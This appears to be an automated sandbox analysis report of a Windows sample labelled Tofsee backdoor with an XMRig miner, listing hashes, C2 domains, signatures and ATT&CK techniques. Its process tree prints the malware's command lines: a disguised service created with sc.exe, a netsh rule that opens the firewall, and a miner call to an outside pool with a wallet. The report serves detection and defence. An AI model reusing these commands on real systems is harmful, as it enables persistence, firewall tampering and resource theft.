Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-05-2023 17:10

General

  • Target

    file.exe

  • Size

    259KB

  • MD5

    755dc3d00bddf9483a791e5ec4458f30

  • SHA1

    0cb42a40bbfb57e68867e8b5f07e37f13ccd3ce3

  • SHA256

    42dff7201d7e644ca0d8c5a4aa0c623fb2943b3d88f94794a2767a8aedfc30bd

  • SHA512

    ce1e776753ba8d72cf18d5443ec4ca4d602dc531567d83f30cce817c0f5e8baa7955cdb22368b729a4b082ab79b4402a5cca5b7e0418770fc09662a3a82ab29d

  • SSDEEP

    3072:8Nu55AZAuEsBHOmuTmO7WeZH7+Ql/TWmoKbyBxUWmYEUP8nJ6nY/2TpzhC97MZ:NkC0BdnOye0w3oKba2t0nNdtY7MZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4484
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\syjegzhr\
      2⤵
        PID:1824
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ahgtbbjn.exe" C:\Windows\SysWOW64\syjegzhr\
        2⤵
          PID:4112
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create syjegzhr binPath= "C:\Windows\SysWOW64\syjegzhr\ahgtbbjn.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3744
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description syjegzhr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:212
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start syjegzhr
          2⤵
          • Launches sc.exe
          PID:3440
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4848
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4484 -s 804
          2⤵
          • Program crash
          PID:3028
      • C:\Windows\SysWOW64\syjegzhr\ahgtbbjn.exe
        C:\Windows\SysWOW64\syjegzhr\ahgtbbjn.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3888
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1800
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3360
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 508
          2⤵
          • Program crash
          PID:408
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4484 -ip 4484
        1⤵
          PID:4404
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3888 -ip 3888
          1⤵
            PID:5020

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ahgtbbjn.exe
            Filesize

            10.7MB

            MD5

            35d2e7a39a01509768b26a5db94da8c4

            SHA1

            a6702dbdccdc9a4ba273ef841ee7adc32dc7539a

            SHA256

            3db883042f1c0d548e5d0194420a0a364efc958b0181caa8adcd326400303f54

            SHA512

            20d7f96771c06f7841b177e0914f86c9875529ca8738022b07c32133edf23dc8e7957375c2b44975515ec3c2cc2dfaa92bad7b4078fc44a8ae473d22a0582552

          • C:\Windows\SysWOW64\syjegzhr\ahgtbbjn.exe
            Filesize

            10.7MB

            MD5

            35d2e7a39a01509768b26a5db94da8c4

            SHA1

            a6702dbdccdc9a4ba273ef841ee7adc32dc7539a

            SHA256

            3db883042f1c0d548e5d0194420a0a364efc958b0181caa8adcd326400303f54

            SHA512

            20d7f96771c06f7841b177e0914f86c9875529ca8738022b07c32133edf23dc8e7957375c2b44975515ec3c2cc2dfaa92bad7b4078fc44a8ae473d22a0582552

          • memory/1800-167-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-148-0x0000000000150000-0x0000000000165000-memory.dmp
            Filesize

            84KB

          • memory/1800-170-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-143-0x0000000000150000-0x0000000000165000-memory.dmp
            Filesize

            84KB

          • memory/1800-184-0x00000000023D0000-0x00000000023D7000-memory.dmp
            Filesize

            28KB

          • memory/1800-145-0x0000000000150000-0x0000000000165000-memory.dmp
            Filesize

            84KB

          • memory/1800-146-0x0000000000150000-0x0000000000165000-memory.dmp
            Filesize

            84KB

          • memory/1800-168-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-149-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/1800-152-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/1800-153-0x00000000017D0000-0x00000000017D6000-memory.dmp
            Filesize

            24KB

          • memory/1800-156-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-183-0x0000000006F00000-0x000000000730B000-memory.dmp
            Filesize

            4.0MB

          • memory/1800-160-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-161-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-162-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-163-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-164-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-165-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-166-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-159-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-180-0x0000000006F00000-0x000000000730B000-memory.dmp
            Filesize

            4.0MB

          • memory/1800-140-0x0000000000150000-0x0000000000165000-memory.dmp
            Filesize

            84KB

          • memory/1800-171-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-169-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-172-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-173-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-174-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-175-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/1800-176-0x00000000017F0000-0x00000000017F5000-memory.dmp
            Filesize

            20KB

          • memory/1800-179-0x00000000017F0000-0x00000000017F5000-memory.dmp
            Filesize

            20KB

          • memory/3360-188-0x0000000000840000-0x0000000000931000-memory.dmp
            Filesize

            964KB

          • memory/3360-193-0x0000000000840000-0x0000000000931000-memory.dmp
            Filesize

            964KB

          • memory/3360-194-0x0000000000840000-0x0000000000931000-memory.dmp
            Filesize

            964KB

          • memory/3360-195-0x0000000000840000-0x0000000000931000-memory.dmp
            Filesize

            964KB

          • memory/3360-196-0x0000000000840000-0x0000000000931000-memory.dmp
            Filesize

            964KB

          • memory/3360-198-0x0000000000840000-0x0000000000931000-memory.dmp
            Filesize

            964KB

          • memory/3360-199-0x0000000000840000-0x0000000000931000-memory.dmp
            Filesize

            964KB

          • memory/3360-197-0x0000000000840000-0x0000000000931000-memory.dmp
            Filesize

            964KB

          • memory/3888-144-0x0000000000400000-0x00000000006BE000-memory.dmp
            Filesize

            2.7MB

          • memory/4484-138-0x0000000000400000-0x00000000006BE000-memory.dmp
            Filesize

            2.7MB

          • memory/4484-135-0x0000000000750000-0x0000000000763000-memory.dmp
            Filesize

            76KB